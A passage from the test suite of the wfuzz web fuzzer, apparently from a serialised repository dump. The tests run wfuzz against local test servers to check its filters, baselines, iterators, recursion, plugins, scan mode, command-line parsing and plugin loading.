\"%s/FUZZ\" % URL_LOCAL,\n        [[\"a\", \"b\", \"c\", \"d\", \"e\", \"f\"]],\n        dict(sc=[200], ss=\"one\"),\n        [(200, \"/dir/a\"), (200, \"/dir/b\")],\n        None,\n    ),\n    (\n        \"test_regex_hc\",\n        \"%s/FUZZ\" % URL_LOCAL,\n        [[\"a\", \"b\", \"c\", \"d\", \"e\", \"f\"]],\n        dict(hc=[200], ss=\"one\"),\n        [],\n        None,\n    ),\n    # complex filter\n    (\n        \"test_filter_clh\",\n        \"%s/FUZZ\" % URL_LOCAL,\n        [[\"a\", \"b\", \"c\"]],\n        dict(filter=\"c!=404 and l!=4 and h!=300 and w!=6\"),\n        [(200, \"/dir/b\")],\n        None,\n    ),\n    (\n        \"test_filter_hw\",\n        \"%s/FUZZ\" % URL_LOCAL,\n        [[\"a\", \"b\", \"c\"]],\n        dict(filter=\"h=28 or w=6\"),\n        [(200, \"/dir/a\")],\n        None,\n    ),\n    (\n        \"test_combined_filter\",\n        \"%s/FUZZ\" % URL_LOCAL,\n        [[\"a\", \"b\", \"c\"]],\n        dict(filter=\"h=28\", sw=[6]),\n        [(200, \"/dir/a\")],\n        None,\n    ),\n    (\n        \"test_filter_intext\",\n        \"%s/FUZZ\" % URL_LOCAL,\n        [[\"a\", \"b\", \"c\"]],\n        dict(filter=\"content~'one'\"),\n        [(200, \"/dir/a\"), (200, \"/dir/b\")],\n        None,\n    ),\n    (\n        \"test_filter_intext2\",\n        \"%s/FUZZ\" % URL_LOCAL,\n        [[\"a\", \"b\", \"c\"]],\n        dict(filter=\"content!~'one'\"),\n        [(200, \"/dir/c\")],\n        None,\n    ),\n    (\n        \"test_dict_filter_strquery_fuzz\",\n        \"%s:8000/echo?var=FUZZ\" % LOCAL_DOMAIN,\n        [[\"value1\"]],\n        dict(filter=\"r.params.get~'value1'\"),\n        [(200, \"/echo\")],\n        None,\n    ),\n    # baseline\n    (\n        \"test_baseline_header\",\n        \"%s\" % ECHO_URL,\n        [[\"twovalue\"]],\n        dict(\n            headers=[(\"FUZZ{onevalue}\", \"admin\")],\n            filter=\"(content~'onevalue:' or content~'twovalue:') and content~'admin'\",\n        ),\n        [(200, \"/echo\"), (200, \"/echo\")],\n        None,\n    ),\n    (\n        \"test_baseline_header_content\",\n        \"%s\" % ECHO_URL,\n        [[\"twovalue\"]],\n        dict(\n            headers=[(\"myheader\", \"FUZZ{onevalue}\")],\n            filter=\"content~'Myheader:' and (content~FUZZ or content~BBB)\",\n        ),\n        [(200, \"/echo\"), (200, \"/echo\")],\n        None,\n    ),\n    (\n        \"test_baseline\",\n        \"%s/FUZZ{notthere}\" % URL_LOCAL,\n        [[\"a\", \"b\", \"c\"]],\n        dict(),\n        [(200, \"/dir/a\"), (200, \"/dir/b\"), (200, \"/dir/c\"), (404, \"/dir/notthere\")],\n        None,\n    ),\n    (\n        \"test_baseline2\",\n        \"%s/FUZZ{notthere}\" % URL_LOCAL,\n        [[\"a\", \"b\", \"c\", \"d\", \"e\", \"f\"]],\n        dict(hc=[\"BBB\"]),\n        [(200, \"/dir/a\"), (200, \"/dir/b\"), (200, \"/dir/c\")] + [(404, \"/dir/notthere\")],\n        None,\n    ),\n    (\n        \"test_baseline_filter\",\n        \"%s/FUZZ{notthere}\" % URL_LOCAL,\n        [[\"a\", \"b\", \"c\", \"d\", \"e\", \"f\"]],\n        dict(filter=\"c!=BBB\"),\n        [(200, \"/dir/a\"), (200, \"/dir/b\"), (200, \"/dir/c\")] + [(404, \"/dir/notthere\")],\n        None,\n    ),\n    (\n        \"test_baseline3\",\n        \"%s/FUZZ{notthere}\" % URL_LOCAL,\n        [[\"a\", \"b\", \"c\"]],\n        dict(hc=[200]),\n        [(404, \"/dir/notthere\")],\n        None,\n    ),\n    # XXX(\"test_scheme_baseline_fuzz\", \"FUZZ{HTTP}://localhost:8000/dir/a\", [[\"https\"]], dict(), [(200, '/dir/a')], None),\n    # iterators\n    (\n        \"test_product\",\n        \"%s:8000/iterators/FUZZFUZ2Z\" % LOCAL_DOMAIN,\n        [[\"a\", \"b\"], [\"c\"]],\n        dict(iterator=\"product\"),\n        [(200, \"/iterators/ac\"), (404, \"/iterators/bc\")],\n        None,\n    ),\n    (\n        \"test_zip\",\n        \"%s:8000/iterators/FUZZFUZ2Z\" % LOCAL_DOMAIN,\n        [[\"a\", \"b\"], [\"c\"]],\n        dict(iterator=\"zip\"),\n        [(200, \"/iterators/ac\")],\n        None,\n    ),\n    (\n        \"test_chain\",\n        \"%s/FUZZ\" % URL_LOCAL,\n        [[\"a\", \"b\"], [\"c\"]],\n        dict(iterator=\"chain\"),\n        [(200, \"/dir/a\"), (200, \"/dir/b\"), (200, \"/dir/c\")],\n        None,\n    ),\n    # recursive\n    (\n        \"test_rlevel_1\",\n        \"%s:8000/recursive_dir/FUZZ\" % LOCAL_DOMAIN,\n        [[\"a\", \"b\", \"c\"]],\n        dict(sc=[301], rlevel=1),\n        [(301, \"/recursive_dir/a\"), (301, \"/recursive_dir/a/b\")],\n        None,\n    ),\n    (\n        \"test_rlevel_2\",\n        \"%s:8000/recursive_dir/FUZZ\" % LOCAL_DOMAIN,\n        [[\"a\", \"b\", \"c\"]],\n        dict(sc=[301], rlevel=2),\n        [\n            (301, \"/recursive_dir/a\"),\n            (301, \"/recursive_dir/a/b\"),\n            (301, \"/recursive_dir/a/b/c\"),\n        ],\n        None,\n    ),\n    (\n        \"test_rlevel_1_post\",\n        \"%s:8000/echo/FUZZ/\" % LOCAL_DOMAIN,\n        [[\"a\"]],\n        dict(\n            filter=\"content~'command=POST' and content~'POST_DATA=a=1'\",\n            postdata=\"a=1\",\n            rlevel=1,\n        ),\n        [(200, \"/echo/a/\"), (200, \"/echo/a/a\")],\n        None,\n    ),\n    # plugins\n    (\n        \"test_robots\",\n        \"%s:8000/plugins/FUZZ\" % LOCAL_DOMAIN,\n        [[\"robots.txt\"]],\n        dict(script=\"robots\"),\n        [\n            (404, \"/cal_endar/\"),\n            (404, \"/crawlsnags/\"),\n            (404, \"/osrun/\"),\n            (200, \"/plugins/robots.txt\"),\n            (200, \"/static/\"),\n        ],\n        None,\n    ),\n    (\n        \"test_robots_hc\",\n        \"%s:8000/plugins/FUZZ\" % LOCAL_DOMAIN,\n        [[\"robots.txt\"]],\n        dict(hc=[404], script=\"robots\"),\n        [(200, \"/plugins/robots.txt\"), (200, \"/static/\")],\n        None,\n    ),\n    (\n        \"test_plugins_filter\",\n        \"%s/FUZZ\" % HTTPBIN_URL,\n        [[\"anything\"]],\n        dict(script=\"headers\", filter=\"plugins~'unicorn'\"),\n        [(200, \"/anything\")],\n        None,\n    ),\n]\n\nscanmode_tests = [\n    (\n        \"test_scanmode\",\n        \"%s:666/FUZZ\" % LOCAL_DOMAIN,\n        [[\"a\", \"b\", \"c\"]],\n        dict(scanmode=True),\n        [(-1, \"/a\"), (-1, \"/b\"), (-1, \"/c\")],\n        None,\n    ),\n    (\n        \"test_scanmode_sc\",\n        \"%s:666/FUZZ\" % LOCAL_DOMAIN,\n        [[\"a\", \"b\", \"c\"]],\n        dict(scanmode=True, sc=[-1]),\n        [(-1, \"/a\"), (-1, \"/b\"), (-1, \"/c\")],\n        None,\n    ),\n    (\n        \"test_scanmode_sc_xxx\",\n        \"%s:666/FUZZ\" % LOCAL_DOMAIN,\n        [[\"a\", \"b\", \"c\"]],\n        dict(scanmode=True, sc=[\"XXX\"]),\n        [(-1, \"/a\"), (-1, \"/b\"), (-1, \"/c\")],\n        None,\n    ),\n    (\n        \"test_scanmode_hc\",\n        \"%s:666/FUZZ\" % LOCAL_DOMAIN,\n        [[\"a\", \"b\", \"c\"]],\n        dict(scanmode=True, hc=[-1]),\n        [],\n        None,\n    ),\n    (\n        \"test_scanmode_hc_xxx\",\n        \"%s:666/FUZZ\" % LOCAL_DOMAIN,\n        [[\"a\", \"b\", \"c\"]],\n        dict(scanmode=True, hc=[\"XXX\"]),\n        [],\n        None,\n    ),\n]\n\nerror_tests = [\n    (\n        \"test_url_schema_error_fuzz\",\n        \"FUZZ://localhost:8000/dir/a\",\n        [[\"https\"]],\n        dict(),\n        [(200, \"/dir/a\")],\n        \"Pycurl error 35\",\n    ),\n    (\n        \"test_all_params_fuzz_error\",\n        \"%s:8000/echo?var=FUZZ&var2=2\" % LOCAL_DOMAIN,\n        [[\"avalue\"]],\n        dict(\n            allvars=\"allvars\",\n            filter=\"content~'query=var=avalue&var2=2' or content~'var=1&var2=avalue'\",\n        ),\n        [(200, \"/echo\"), (200, \"/echo\")],\n        \"FUZZ words not allowed when using all parameters brute forcing\",\n    ),\n    (\n        \"test_all_params_no_var\",\n        \"%s:8000/echo\" % LOCAL_DOMAIN,\n        [[\"avalue\"]],\n        dict(\n            allvars=\"allvars\",\n            filter=\"content~'query=var=avalue&var2=2' or content~'var=1&var2=avalue'\",\n        ),\n        [(200, \"/echo\"), (200, \"/echo\")],\n        \"No variables on specified variable set\",\n    ),\n    (\n        \"test_bad_port\",\n        \"%s:6666/FUZZ\" % LOCAL_DOMAIN,\n        [list(range(1))],\n        dict(),\n        [],\n        \"Failed to connect to localhost port 6666\",\n    ),\n    (\n        \"test_bad_num_payloads\",\n        \"%s:8000/FUZZ\" % LOCAL_DOMAIN,\n        [list(range(1)), list(range(1))],\n        dict(),\n        [],\n        \"FUZZ words and number of payloads do not match\",\n    ),\n    (\n        \"test_bad_proxy\",\n        \"%s:8000/FUZZ\" % LOCAL_DOMAIN,\n        [list(range(1))],\n        dict(proxies=[(\"localhost\", 888, \"HTTP\")]),\n        [],\n        \"Failed to connect to localhost port 888\",\n    ),\n    (\n        \"test_bad_num_dic\",\n        \"%s:8000/iterators/FUZZ\" % LOCAL_DOMAIN,\n        [list(range(1))],\n        dict(iterator=\"zip\"),\n        [],\n        \"Several dictionaries must be used when specifying an iterator\",\n    ),\n]\n\n\nclass DynamicTests(unittest.TestCase):\n    \"\"\"\n    Dummy class that will be populated dynamically with all the tests\n    \"\"\"\n\n    pass\n\n\ndef wfuzz_me_test_generator(url, payloads, params, expected_list, extra_params):\n    def test(self):\n        # Wfuzz results\n        with wfuzz.FuzzSession(url=url, **params) as s:\n            if payloads is None:\n                fuzzed = s.fuzz()\n            else:\n                fuzzed = s.get_payloads(payloads).fuzz()\n\n            ret_list = [(x.code, x.history.urlparse.path) for x in fuzzed]\n\n        # repeat test with extra params if specified and check against\n        if extra_params:\n            # if using proxy change localhost for docker compose service\n            proxied_url = url\n            proxied_payloads = payloads\n            if \"proxies\" in extra_params:\n                for original_host, proxied_host in REPLACE_HOSTNAMES:\n                    proxied_url = proxied_url.replace(original_host, proxied_host)\n                    if proxied_payloads:\n                        proxied_payloads = [\n                            [\n                                payload.replace(original_host, proxied_host)\n                                for payload in payloads_list\n                            ]\n                            for payloads_list in proxied_payloads\n                        ]\n\n                if \"connect_to_ip\" in extra_params and extra_params[\"connect_to_ip\"]:\n                    extra_params[\"connect_to_ip\"][\"ip\"] = \"httpbin\"\n                    extra_params[\"connect_to_ip\"][\"port\"] = \"80\"\n\n            with wfuzz.FuzzSession(url=proxied_url) as s:\n                same_list = [\n                    (x.code, x.history.urlparse.path)\n                    for x in s.get_payloads(proxied_payloads).fuzz(**extra_params)\n                ]\n\n            self.assertEqual(sorted(ret_list), sorted(same_list))\n        else:\n            self.assertEqual(sorted(ret_list), sorted(expected_list))\n\n    return test\n\n\ndef wfuzz_me_test_generator_exception(fn, exception_string):\n    def test_exception(self):\n        with self.assertRaises(Exception) as context:\n            fn(None)\n            self.assertTrue(exception_string in str(context.exception))\n\n    return test_exception\n\n\ndef wfuzz_me_test_generator_saveres(url, payloads, params, expected_list):\n    def test(self):\n        if not expected_list:\n            return\n        temp_name = next(tempfile._get_candidate_names())\n        defult_tmp_dir = tempfile._get_default_tempdir()\n\n        filename = os.path.join(defult_tmp_dir, temp_name)\n\n        # Wfuzz results\n        with wfuzz.FuzzSession(\n            url=url, **dict(list(params.items()) + list(dict(save=filename).items()))\n        ) as s:\n            if payloads is None:\n                fuzzed = s.fuzz()\n            else:\n                fuzzed = s.get_payloads(payloads).fuzz()\n\n            ret_list = [(x.code, x.history.urlparse.path) for x in fuzzed]\n\n        # repeat test with performaing same saved request\n        with wfuzz.FuzzSession(\n            payloads=[(\"wfuzzp\", dict(fn=filename))], url=\"FUZZ\"\n        ) as s:\n            same_list = [(x.code, x.history.urlparse.path) for x in s.fuzz()]\n\n        self.assertEqual(sorted(ret_list), sorted(same_list))\n\n        # repeat test with performaing FUZZ[url] saved request\n        with wfuzz.FuzzSession(\n            payloads=[(\"wfuzzp\", dict(fn=filename))], url=\"FUZZ[url]\"\n        ) as s:\n            same_list = [(x.code, x.history.urlparse.path) for x in s.fuzz()]\n\n        self.assertEqual(sorted(ret_list), sorted(same_list))\n\n    return test\n\n\ndef wfuzz_me_test_generator_recipe(url, payloads, params, expected_list):\n    def test(self):\n        temp_name = next(tempfile._get_candidate_names())\n        defult_tmp_dir = tempfile._get_default_tempdir()\n\n        filename = os.path.join(defult_tmp_dir, temp_name)\n\n        # Wfuzz results\n        with wfuzz.FuzzSession(url=url, **params) as s:\n            s.export_to_file(filename)\n\n            if payloads is None:\n                fuzzed = s.fuzz()\n            else:\n                fuzzed = s.get_payloads(payloads).fuzz()\n\n            ret_list = [(x.code, x.history.urlparse.path) for x in fuzzed]\n\n        # repeat test with recipe as only parameter\n        with wfuzz.FuzzSession(recipe=[filename]) as s:\n            if payloads is None:\n                same_list = [(x.code, x.history.urlparse.path) for x in s.fuzz()]\n            else:\n                same_list = [\n                    (x.code, x.history.urlparse.path)\n                    for x in s.get_payloads(payloads).fuzz()\n                ]\n\n        self.assertEqual(sorted(ret_list), sorted(same_list))\n\n    return test\n\n\ndef wfuzz_me_test_generator_previous_session(\n    prev_session_cli, next_session_cli, expected_list\n):\n    def test(self):\n        temp_name = next(tempfile._get_candidate_names())\n        defult_tmp_dir = tempfile._get_default_tempdir()\n\n        filename = os.path.join(defult_tmp_dir, temp_name)\n\n        # first session\n        with wfuzz.get_session(prev_session_cli) as s:\n            ret_list = [\n                x._field() if x._fields else x.description\n                for x in s.fuzz(save=filename)\n            ]\n\n        # second session wfuzzp as payload\n        with wfuzz.get_session(next_session_cli.replace(\"$$PREVFILE$$\", filename)) as s:\n            ret_list = [x._field() if x._fields else x.description for x in s.fuzz()]\n\n        self.assertEqual(sorted(ret_list), sorted(expected_list))\n\n    return test\n\n\ndef create_test(\n    test_name, url, payloads, params, expected_res, extra_params, exception_str\n):\n    test_fn = wfuzz_me_test_generator(url, payloads, params, expected_res, extra_params)\n    if exception_str:\n        test_fn_exc = wfuzz_me_test_generator_exception(test_fn, exception_str)\n        setattr(DynamicTests, test_name, test_fn_exc)\n    else:\n        setattr(DynamicTests, test_name, test_fn)\n\n\ndef create_tests_from_list(test_list):\n    \"\"\"\n    Creates tests cases where wfuzz using the indicated url, params results are checked against expected_res\n    \"\"\"\n    for test_name, url, payloads, params, expected_res, exception_str in test_list:\n        create_test(test_name, url, payloads, params, expected_res, None, exception_str)\n\n\ndef duplicate_tests_diff_params(\n    test_list, group, next_extra_params, previous_extra_params\n):\n    \"\"\"\n    Ignores expected_res and generates wfuzz tests that run 2 times with different params, expecting same results.\n\n    \"\"\"\n    for test_name, url, payloads, params, expected_res, exception_str in test_list:\n\n        # mitmproxy does not go well with encodings. temporary bypass encoding checks with proxy\n        if group == \"_proxy_\" and \"encode\" in test_name:\n            continue\n\n        next_extra = copy.deepcopy(params)\n        next_extra.update(next_extra_params)\n        new_test = \"%s_%s\" % (test_name, group)\n\n        prev_extra = copy.deepcopy(params)\n        if previous_extra_params:\n            prev_extra.update(previous_extra_params)\n\n        create_test(\n            new_test, url, payloads, prev_extra, None, next_extra, exception_str\n        )\n\n\ndef duplicate_tests(test_list, group, test_gen_fun):\n    \"\"\"\n    generates wfuzz tests that run 2 times with recipe input, expecting same results.\n\n    \"\"\"\n    for test_name, url, payloads, params, expected_res, exception_str in test_list:\n        new_test = \"%s_%s\" % (test_name, group)\n\n        test_fn = test_gen_fun(url, payloads, params, None)\n        if exception_str:\n            test_fn_exc = wfuzz_me_test_generator_exception(test_fn, exception_str)\n            setattr(DynamicTests, new_test, test_fn_exc)\n        else:\n            setattr(DynamicTests, new_test, test_fn)\n\n\ndef create_savedsession_tests(test_list, test_gen_fun):\n    \"\"\"\n    generates wfuzz tests that run 2 times with a saved session, expecting same results.\n\n    \"\"\"\n    for test_name, prev_cli, next_cli, expected_res, exception_str in test_list:\n        test_fn = test_gen_fun(prev_cli, next_cli, expected_res)\n        if exception_str:\n            test_fn_exc = wfuzz_me_test_generator_exception(test_fn, exception_str)\n            setattr(DynamicTests, test_name, test_fn_exc)\n        else:\n            setattr(DynamicTests, test_name, test_fn)\n\n\ndef create_tests():\n    \"\"\"\n    Creates all dynamic tests\n\n    \"\"\"\n    if testing_savedsession_tests:\n        create_savedsession_tests(\n            testing_savedsession_tests, wfuzz_me_test_generator_previous_session\n        )\n        return\n\n    if testing_tests:\n        create_tests_from_list(testing_tests)\n        duplicate_tests(testing_tests, \"recipe\", wfuzz_me_test_generator_recipe)\n        duplicate_tests(testing_tests, \"saveres\", wfuzz_me_test_generator_saveres)\n        duplicate_tests_diff_params(\n            testing_tests, \"_proxy_\", dict(proxies=[(\"localhost\", 8080, \"HTTP\")]), None\n        )\n    else:\n        # this are the basics\n        basic_functioning_tests = [error_tests, scanmode_tests, basic_tests]\n\n        for t in basic_functioning_tests:\n            create_tests_from_list(t)\n\n        # description tests\n        create_savedsession_tests(\n            savedsession_tests, wfuzz_me_test_generator_previous_session\n        )\n\n        # duplicate tests with recipe\n        duplicate_tests(basic_tests, \"recipe\", wfuzz_me_test_generator_recipe)\n\n        # duplicate tests with save results\n        duplicate_tests(basic_tests, \"saveres\", wfuzz_me_test_generator_saveres)\n\n        # duplicate tests with proxy\n        duplicate_tests_diff_params(\n            basic_tests, \"_proxy_\", dict(proxies=[(\"localhost\", 8080, \"HTTP\")]), None\n        )\n\n\ncreate_tests()\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/test_api.py",
    "content": "import unittest\nimport sys\nfrom io import BytesIO\nimport gzip\nimport pickle as pickle\n\nimport wfuzz\nfrom wfuzz.facade import Facade\nfrom wfuzz.fuzzobjects import FuzzResult\nfrom wfuzz.fuzzrequest import FuzzRequest\n\ntry:\n    # Python >= 3.3\n    from unittest import mock\nexcept ImportError:\n    # Python < 3.3\n    import mock\n\n\nclass APITests(unittest.TestCase):\n    def test_payload_description(self):\n        class mock_saved_session(object):\n            def __init__(self, fields, show_field):\n                fr = FuzzRequest()\n                fr.url = \"http://www.wfuzz.org/path?param=1&param2=2\"\n                fuzz_res = FuzzResult(history=fr)\n                fuzz_res._fields = fields\n                fuzz_res._show_field = show_field\n\n                self.outfile = BytesIO()\n\n                with gzip.GzipFile(fileobj=self.outfile, mode=\"wb\") as f:\n                    pickle.dump(fuzz_res, f)\n\n                self.outfile.seek(0)\n                self.outfile.name = \"mockfile\"\n\n            def close(self):\n                pass\n\n            def read(self, *args, **kwargs):\n                return self.outfile.read(*args, **kwargs)\n\n            def seek(self, *args, **kwargs):\n                return self.outfile.seek(*args, **kwargs)\n\n            def tell(self):\n                return self.outfile.tell()\n\n        # load plugins before mocking file object\n        Facade().payloads\n\n        m = mock.MagicMock(name=\"open\", spec=open)\n        m.return_value = mock_saved_session([\"r.params.all\"], True)\n\n        mocked_fun = (\n            \"builtins.open\" if sys.version_info >= (3, 0) else \"__builtin__.open\"\n        )\n        with mock.patch(mocked_fun, m):\n            payload_list = list(\n                wfuzz.payload(\n                    **{\n                        \"show_field\": True,\n                        \"fields\": [\"r\"],\n                        \"payloads\": [\n                            (\"wfuzzp\", {\"default\": \"mockedfile\", \"encoder\": None}, None)\n                        ],\n                    }\n                )\n            )\n            self.assertEqual(\n                sorted(\n                    \"-\".join([res[0].description for res in payload_list]).split(\"\\n\")\n                ),\n                sorted([\"param=1\", \"param2=2\"]),\n            )\n\n        m = mock.MagicMock(name=\"open\", spec=open)\n        m.return_value = mock_saved_session([\"url\"], None)\n\n        mocked_fun = (\n            \"builtins.open\" if sys.version_info >= (3, 0) else \"__builtin__.open\"\n        )\n        with mock.patch(mocked_fun, m):\n            payload_list = list(\n                wfuzz.payload(\n                    **{\n                        \"show_field\": True,\n                        \"fields\": [\"r\"],\n                        \"payloads\": [\n                            (\"wfuzzp\", {\"default\": \"mockedfile\", \"encoder\": None}, None)\n                        ],\n                    }\n                )\n            )\n            self.assertEqual(\n                [res[0].description for res in payload_list],\n                [\"http://www.wfuzz.org/path?param=1&param2=2\"],\n            )\n\n        m = mock.MagicMock(name=\"open\", spec=open)\n        m.return_value = mock_saved_session([\"r.scheme\"], False)\n\n        mocked_fun = (\n            \"builtins.open\" if sys.version_info >= (3, 0) else \"__builtin__.open\"\n        )\n        with mock.patch(mocked_fun, m):\n            payload_list = list(\n                wfuzz.payload(\n                    **{\n                        \"show_field\": True,\n                        \"fields\": [\"r\"],\n                        \"payloads\": [\n                            (\"wfuzzp\", {\"default\": \"mockedfile\", \"encoder\": None}, None)\n                        ],\n                    }\n                )\n            )\n            self.assertEqual(\n                [res[0].description for res in payload_list],\n                [\"http://www.wfuzz.org/path?param=1&param2=2 | http\"],\n            )\n\n    def test_payload(self):\n        with mock.patch(\"os.walk\") as mocked_oswalk:\n            mocked_oswalk.return_value = [\n                (\"foo\", (\"bar\",), (\"baz\",)),\n                (\"foo/bar\", (), (\"spam\", \"eggs\")),\n            ]\n            payload_list = list(\n                wfuzz.payload(\n                    **{\n                        \"payloads\": [\n                            (\"dirwalk\", {\"default\": \"foo\", \"encoder\": None}, None)\n                        ]\n                    }\n                )\n            )\n            self.assertEqual(\n                sorted(payload_list), sorted([(\"baz\",), (\"bar/spam\",), (\"bar/eggs\",)])\n            )\n\n        class mock_file(object):\n            def __init__(self):\n                self.my_iter = iter([b\"one\", b\"two\"])\n\n            def __iter__(self):\n                return self\n\n            def __next__(self):\n                return next(self.my_iter)\n\n            def seek(self, pos):\n                self.my_iter = iter([b\"one\", b\"two\"])\n\n            next = __next__  # for Python 2\n\n        m = mock.MagicMock(name=\"open\", spec=open)\n        m.return_value = mock_file()\n\n        mocked_fun = (\n            \"builtins.open\" if sys.version_info >= (3, 0) else \"__builtin__.open\"\n        )\n        with mock.patch(mocked_fun, m):\n            payload_list = list(\n                wfuzz.payload(\n                    **{\n                        \"payloads\": [\n                            (\"file\", {\"default\": \"mockedfile\", \"encoder\": None}, None)\n                        ]\n                    }\n                )\n            )\n            self.assertEqual(sorted(payload_list), sorted([(\"one\",), (\"two\",)]))\n"
  },
  {
    "path": "tests/test_clparser.py",
    "content": "import unittest\n\nfrom wfuzz.ui.console.clparser import CLParser\n\n\nclass CLParserTest(unittest.TestCase):\n    def test_listplugins(self):\n        with self.assertRaises(SystemExit) as cm:\n            CLParser([\"wfuzz\", \"-e\", \"iterators\"]).parse_cl()\n\n        self.assertEqual(cm.exception.code, 0)\n\n    def test_ip_option(self):\n        options = CLParser([\"wfuzz\", \"--ip\", \"127.0.0.1\"]).parse_cl()\n\n        self.assertEqual(options.data[\"connect_to_ip\"][\"ip\"], \"127.0.0.1\")\n        self.assertEqual(options.data[\"connect_to_ip\"][\"port\"], \"80\")\n\n        options = CLParser([\"wfuzz\", \"--ip\", \"127.0.0.1:22\"]).parse_cl()\n\n        self.assertEqual(options.data[\"connect_to_ip\"][\"ip\"], \"127.0.0.1\")\n        self.assertEqual(options.data[\"connect_to_ip\"][\"port\"], \"22\")\n\n        options = CLParser([\"wfuzz\", \"--ip\", \"127.0.0.1:\"]).parse_cl()\n\n        self.assertEqual(options.data[\"connect_to_ip\"][\"ip\"], \"127.0.0.1\")\n        self.assertEqual(options.data[\"connect_to_ip\"][\"port\"], \"80\")\n\n        with self.assertRaises(Exception) as cm:\n            options = CLParser([\"wfuzz\", \"--ip\", \":80\"]).parse_cl()\n        self.assertTrue(\"An IP must be specified\" in str(cm.exception))\n\n    def test_ze_zd_option(self):\n        with self.assertRaises(Exception) as cm:\n            options = CLParser(\n                [\"wfuzz\", \"-z\", \"range,0-10\", \"--zD\", \"0-10\", \"url\"]\n            ).parse_cl()\n        self.assertTrue(\"exclusive\" in str(cm.exception))\n\n        options = CLParser(\n            [\"wfuzz\", \"-z\", \"range\", \"--zD\", \"0-1\", \"--zE\", \"md5\", \"url\"]\n        ).parse_cl()\n        self.assertEqual(\n            options.data[\"payloads\"],\n            [(\"range\", {\"default\": \"0-1\", \"encoder\": [\"md5\"]}, None)],\n        )\n\n        options = CLParser(\n            [\"wfuzz\", \"-z\", \"range,0-1\", \"--zE\", \"md5\", \"url\"]\n        ).parse_cl()\n        self.assertEqual(\n            options.data[\"payloads\"],\n            [(\"range\", {\"default\": \"0-1\", \"encoder\": [\"md5\"]}, None)],\n        )\n\n        options = CLParser(\n            [\"wfuzz\", \"-z\", \"range\", \"--zD\", \"0-1\", \"--zE\", \"md5\", \"url\"]\n        ).parse_cl()\n        self.assertEqual(\n            options.data[\"payloads\"],\n            [(\"range\", {\"default\": \"0-1\", \"encoder\": [\"md5\"]}, None)],\n        )\n\n        options = CLParser([\"wfuzz\", \"-z\", \"range\", \"--zD\", \"0-1\"]).parse_cl()\n        self.assertEqual(\n            options.data[\"payloads\"],\n            [(\"range\", {\"default\": \"0-1\", \"encoder\": None}, None)],\n        )\n\n        options = CLParser([\"wfuzz\", \"-z\", \"range,0-1\"]).parse_cl()\n        self.assertEqual(\n            options.data[\"payloads\"],\n            [(\"range\", {\"default\": \"0-1\", \"encoder\": None}, None)],\n        )\n"
  },
  {
    "path": "tests/test_filterintro.py",
    "content": "import unittest\n\n# Python 2 and 3: urlib.parse\n\nfrom wfuzz.fuzzobjects import FuzzResult\nfrom wfuzz.fuzzrequest import FuzzRequest\nfrom wfuzz.filters.ppfilter import FuzzResFilter\n\n\nraw_req = \"\"\"GET / HTTP/1.1\nHost: www.wfuzz.org\nUser-Agent: curl/7.58.0\nAccept: */*\n\"\"\"\n\nraw_resp = b\"\"\"HTTP/1.1 302 Found\nContent-Type: text/html; charset=utf-8\nContent-Language: en\nLocation: https://wfuzz.readthedocs.io/en/latest/\nVary: Accept-Language, Cookie\nServer: nginx/1.14.0 (Ubuntu)\nX-Fallback: True\nX-Served: Django\nX-Deity: web01\nDate: Wed, 23 Jan 2019 21:43:59 GMT\nContent-Length: 0\n\"\"\"\n\n\nclass FilterTest(unittest.TestCase):\n    def __init__(self, *args, **kwargs):\n        super(FilterTest, self).__init__(*args, **kwargs)\n        self.maxDiff = 1000\n\n    def get_filtered_fuzzrequest(self, filter_str):\n        fr = FuzzRequest()\n        fr.update_from_raw_http(raw_req, \"http\", raw_resp, b\"\")\n\n        fuzz_res = FuzzResult(history=fr)\n\n        ffilter = FuzzResFilter(filter_string=filter_str)\n        ffilter.is_visible(fuzz_res)\n\n        return fuzz_res\n\n    def test_nonexisting(self):\n        fr = FuzzRequest()\n        fr.url = \"http://www.wfuzz.org/path?param=1&param2=2\"\n\n        fuzz_res = FuzzResult(history=fr)\n\n        with self.assertRaises(Exception) as context:\n            ffilter = FuzzResFilter(filter_string=\"url=-'test'\")\n            ffilter.is_visible(fuzz_res)\n            self.assertTrue(\"rsetattr: Can't set\" in str(context.exception))\n\n        with self.assertRaises(Exception) as context:\n            ffilter = FuzzResFilter(filter_string=\"notthere=-'test'\")\n            ffilter.is_visible(fuzz_res)\n            self.assertTrue(\"rgetattr: Can't get\" in str(context.exception))\n\n        with self.assertRaises(Exception) as context:\n            ffilter = FuzzResFilter(filter_string=\"r.params.get.notthere=-'test'\")\n            ffilter.is_visible(fuzz_res)\n            self.assertTrue(\"DotDict: Non-existing field\" in str(context.exception))\n"
  },
  {
    "path": "tests/test_moduleman.py",
    "content": "import sys\n\n\ntry:\n    # Python >= 3.3\n    from unittest import mock\nexcept ImportError:\n    # Python < 3.3\n    import mock\n\nimport unittest\n\nfrom wfuzz.externals.moduleman.loader import DirLoader\nfrom wfuzz.externals.moduleman.loader import FileLoader\nfrom wfuzz.externals.moduleman.registrant import BRegistrant\nfrom wfuzz.externals.moduleman.plugin import moduleman_plugin\nimport wfuzz.externals.moduleman.modulefilter as modulefilter\n\n\n@moduleman_plugin\nclass test_plugin1:\n    name = \"test_plugin1\"\n    author = ((\"test plugin 1\"),)\n    version = \"0.1\"\n    description = (\"test plugin 1\",)\n    summary = \"test plugin 1.\"\n    category = [\"aggressive\"]\n    priority = 79\n\n    parameters = ((\"test\", \"\", True, \"test plugin 1\"),)\n\n\n@moduleman_plugin\nclass test_plugin2:\n    name = \"test_plugin2\"\n    author = ((\"test plugin 2\"),)\n    version = \"0.1\"\n    description = (\"test plugin 2\",)\n    summary = \"test plugin 2.\"\n    category = [\"default\"]\n    priority = 89\n\n    parameters = ((\"test\", \"\", True, \"test plugin 2\"),)\n\n\n@moduleman_plugin\nclass test_plugin3:\n    name = \"test_plugin3\"\n    author = ((\"test plugin 3\"),)\n    version = \"0.1\"\n    description = (\"test plugin 3\",)\n    summary = \"test plugin 3.\"\n    category = [\"safe\", \"default\"]\n    priority = 99\n\n    parameters = ((\"test\", \"\", True, \"test plugin 3\"),)\n\n\nclass ModuleFilterTests(unittest.TestCase):\n    def test_load_dir2(self):\n        with mock.patch(\"os.listdir\") as mocked_listdir:\n            with mock.patch(\"os.path.isdir\") as mocked_isdir:\n                with mock.patch(\"os.path.isfile\") as mocked_isfile:\n                    with mock.patch(\"imp.find_module\") as mocked_find_module:\n                        with mock.patch(\"imp.load_module\") as mocked_load_module:\n                            mocked_listdir.return_value = [\"alpha\", \"project.py\"]\n                            mocked_isdir.side_effect = [True, False]\n                            